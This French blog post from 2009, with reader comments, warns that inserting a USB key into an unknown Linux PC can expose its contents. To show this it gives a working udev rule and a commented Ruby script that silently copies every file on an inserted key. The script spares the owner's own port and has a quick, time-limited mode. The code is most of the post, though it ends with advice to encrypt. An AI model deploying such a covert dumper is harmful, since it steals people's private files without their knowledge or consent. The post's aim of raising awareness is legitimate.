mardi 13 octobre 2009

Danger pour les clés usb

On parle beaucoup du risque des clefs USB pour les PC car c'est un excellent vecteur d'infection (utilisé par conficker par exemple), mais on parle beaucoup moins du risque de perte de confidentialité dû à l'insertion d'une clef USB dans un PC inconnu. Ce risque est pourtant important comme je vais le montrer ici.

L'objectif ici est de copier le contenu de la clef USB (dump) sur le PC dans laquelle elle est insérée et tout ceci à l'insu de son utilisateur. Pour cela je vais utiliser une machine tournant sous Linux, mais il existe bien entendu des équivalents sous Windows.

Sous Linux, le gestionnaire de périphériques depuis le noyau 2.6 s'appelle udev. Il permet de gérer les différents périphériques du répertoire /dev, et de notamment permettre l'exécution d'une commande lors de l'insertion d'un de ces périphériques. C'est exactement ce dont nous avons besoin : exécuter un programme qui copiera le contenu de la clef USB lors de son insertion.

Udev se configure à l'aide de règles que l'on peut trouver dans le répertoire /etc/udev/rules.d et dans le répertoire /lib/udev/rules.d. On commence par créer un nouveau fichier, que l'on va appeler 90_usbdump.rules. Les fichiers sont lus en commençant d'abord par le plus petit chiffre, puis le plus grand. En commençant par 90 on s'assure dans notre exemple que notre fichier sera lu en dernier.

Voilà le contenu de ce fichier :
ACTION=="add", KERNEL=="sd*", RUN+="/root/bin/usb_dumper.rb"

La syntaxe des fichiers rules peut se trouver ici. La règle de ce fichier veut dire, que si c'est une action d'ajout et qu'il y a création d'un device de type sd (sda, sdb, sdc, sda1...), alors on va exécuter le programme suivant /root/bin/usb_dumper.rb. De manière générale, le signe "==" entraîne une condition et le signe "+=" entraîne une réaction qui devra être réalisée si toutes les conditions précédentes sont respectées.

Voilà tout est fait, il ne reste plus qu'à coder le programme usb_dumper.rb qui se chargera de copier le contenu de la clef USB.
J'ai choisi de faire ce programme en ruby (d'où l'extension rb), pour apprendre ce langage qui est nouveau pour moi.

Lors de l'exécution du programme spécifié dans le paramètre RUN, de nombreuses variables d'environnement sont créées qui vont nous permettre d'obtenir les informations nécessaires à la réalisation de notre programme. Le programme suivant permet de récupérer toutes ces variables (il faut changer la commande RUN pour exécuter ce programme) :

#!/usr/bin/env ruby
file = File.new("/root/tmp/log", "a+"):
ENV.each {|k,v| file.puts "#{k}:#{v}"}
file.close();

Le résultat après insertion de la clef usb permet de donner quelques informations importantes comme le type d'action qu'il y a eu (insertion, extraction...), le device responsable (/dev/sdb par exemple), le bus utilisé... Ces informations vont permettre à notre programme de savoir où chercher la clef et aussi de faire différentes actions en fonction du port usb physique utilisé par exemple.

Le code source de usb_dumpe.rb est fourni commenté.
#!/usr/bin/env ruby

require 'fileutils'

# Fichier de log pour savoir ce qui c'est passé
log_file_name = "/root/usb_dump/log"
max_try = 10

# Répertoire de destination du dump de la clef
dest = "/root/usb_dump"

# Si la clef est insérée sur le port physique numéro 1, on ne la dump pas
exclude_usb_port = "1"

# Si la clef est insérée sur le port physique numéro 4, on fait un dump rapide
fast_usb_port = "4"

# Taille max des fichiers a recuperer lors d'un dump rapide
max_size = 5000000

# Temps maximum que l'on s'autorise lors d'un dump rapide
max_time = 60

# Recuperation du device cree (de type /dev/sdb)
device = ENV['DEVNAME']

log_file = File.new(log_file_name, "a+")

# La variable d'environnement ID_PATH nous permet de savoir sur quel port physique on est
if ENV['ID_PATH'].grep(/usb-0:#{exclude_usb_port}:/).length != 0
   log_file.puts "#{ENV['ID_SERIAL']} ignore car present sur un port exclu\n\n"
   exit(0)
end

try = 1

log_file.puts "Lancement usb_dump.rb sur #{device}\n"

# Notre programme est appelé avant que la clef soit montée... on attend donc
while `mount`.grep(/#{device}/).length == 0 and try <= max_try
   sleep(1)
   try += 1
end

if try > max_try
   log_file.puts "USB non monte\n"
   exit(1)
end

# On récupère le répertoire sur lequel la clef est montée
mount_point = `mount`.grep(/#{device}/")[0].gsub(/.*on (.+) type.*$/,'\1').chomp
log_file.puts "Mount Point : #{mount_point}\n"

# Creation du repertoire de stockage
log_file.puts "###### #{ENV['ID_SERIAL']} #{ENV['ID_PATH']} ######\n"
dest += "/" + ENV['ID_SERIAL'] + "_" + Time.now.strftime('%Y%m%d_%H%M')
FileUtils.mkdir(dest)
log_file.puts "Creation de #{dest}...\n"

# On prend le temps de démarrage au cas où on devrait respecter une durée maximale
start_time = Time.now

# On parcourt recursivement la clef
Dir[mount_point + "/**/*"].each do |f|

   # Si on est sur le port physique qui demande de la rapidité, on vérifie qu'on a pas dépassé le temps maximum
   if ENV['ID_PATH'].grep(/usb-0:#{fast_usb_port}:/).length != 0
      current_time = Time.now
      log_file.puts "Temps : #{current_time - start_time} #{current_time - start_time >= max_time}\n"
      if current_time - start_time >= max_time
         log_file.puts "Stop car depassement du temps\n\n"
         exit(0)
      end
   end

   log_file.puts "#{f}"
   dst = dest + f[mount_point.length,f.length]
   if File.directory?(f)
      FileUtils.mkdir(dst)
      log_file.puts "Creation de #{dst}...\n"
   elsif File.file?(f)
      # Si on est sur le port physique qui demande de la rapidité, on ne copie pas les gros fichiers
      if ENV['ID_PATH'].grep(/usb-0:#{fast_usb_port}:/).length != 0 and File.size(f) > max_size
         file_size = File.size(f)
         log_file.puts "Fichier #{f} trop volumineux : #{file_size}\n"
      else
         FileUtils.copy_file(f,dst)
         log_file.puts "Copie de #{f} vers #{dst}...\n"
      end
   end
end
log_file.puts "\n\n"
log_file.close()

Comme on peut le voir, en quelques lignes de codes on peut très facilement mettre en place un système qui aspirera le contenu d'une clef USB de façon complètement transparente pour l'utilisateur.
Le script fait la distinction entre 3 catégories de port USB. Un port qui n'aspirera pas le contenu de la clef (utile pour ne pas se faire aspirer sa propre clef), un port qui aspirera le contenu des clefs en se limitant aux fichiers inférieurs à une certaine taille et limité dans le temps (dans le cas où on ne peut pas se permettre de garder la clef trop longtemps) et tous les autres ports feront une copie de tout le contenu de la clef.

Il est bien entendu possible d'adapter ce script, pour par exemple limiter la copie à certains types de fichiers, envoyer le contenu directement sur Internet...

Il est donc impératif de faire très attention quand on branche sa clef USB sur une machine inconnue, sous peine de voir le contenu de notre clef dupliqué sur l'ordinateur (voire carrément transféré directement sur Internet). La seule parade à cela reste de chiffrer l'ensemble de nos fichiers confidentiels, par l'intermédiaire de truecrypt par exemple.

Update :
Equivalents Windows : USBDumper et USBVirusScan (Merci Rémy).

2 commentaires:

  1. Equivalents sous Windows:
    - USBDumper par Eric Detoisien
    - USBVirusScan par Didier Stevens

    (pour les liens correspondants, STFW)

    RépondreSupprimer